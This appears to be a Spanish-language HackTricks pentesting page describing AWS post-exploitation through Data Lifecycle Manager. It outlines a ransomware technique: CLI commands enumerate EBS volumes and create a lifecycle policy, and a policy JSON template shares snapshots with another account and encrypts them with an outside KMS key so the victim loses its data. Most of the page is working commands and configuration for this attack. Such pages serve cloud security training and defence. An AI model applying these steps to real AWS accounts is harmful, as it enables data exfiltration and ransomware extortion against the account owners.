Files

2.8 KiB

AWS - DLM Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

Data Lifecycle Manger (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

Un ataque ransomware puede llevarse a cabo cifrando tantos EBS volumes como sea posible y luego eliminando las instancias EC2 actuales, los EBS volumes y los snapshots. Para automatizar esta actividad maliciosa se puede emplear Amazon DLM, cifrando los snapshots con una KMS key de otra cuenta AWS y transfiriendo los snapshots cifrados a una cuenta distinta. Alternativamente, podrían transferir snapshots sin cifrar a una cuenta que controlen y luego cifrarlos allí. Aunque no es sencillo cifrar directamente volúmenes EBS o snapshots existentes, es posible hacerlo creando un nuevo volume o snapshot.

Primero, se usará un comando para recopilar información sobre los volúmenes, como instance ID, volume ID, encryption status, attachment status y volume type.

aws ec2 describe-volumes

En segundo lugar, se creará la lifecycle policy. Este comando emplea la DLM API para configurar una lifecycle policy que toma automáticamente snapshots diarios de los volúmenes especificados a una hora designada. También aplica tags específicos a los snapshots y copia tags desde los volúmenes a los snapshots. El archivo policyDetails.json incluye los detalles de la lifecycle policy, como target tags, schedule, el ARN de la KMS key opcional para el cifrado, y la target account para compartir snapshots, lo cual quedará registrado en los CloudTrail logs de la víctima.

aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json

Una plantilla para el documento de la política se puede ver aquí:

{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}

{{#include ../../../../banners/hacktricks-training.md}}